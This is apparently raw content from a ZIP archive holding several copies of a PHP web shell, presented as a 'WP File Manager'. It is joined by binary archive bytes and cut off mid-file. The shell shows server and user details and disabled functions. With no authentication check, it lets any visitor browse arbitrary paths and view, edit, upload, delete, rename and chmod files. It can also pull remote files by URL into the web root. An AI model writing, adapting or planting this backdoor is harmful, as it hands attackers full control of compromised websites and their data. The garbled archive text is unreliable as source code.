$filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ë treatment@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ë treatment@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
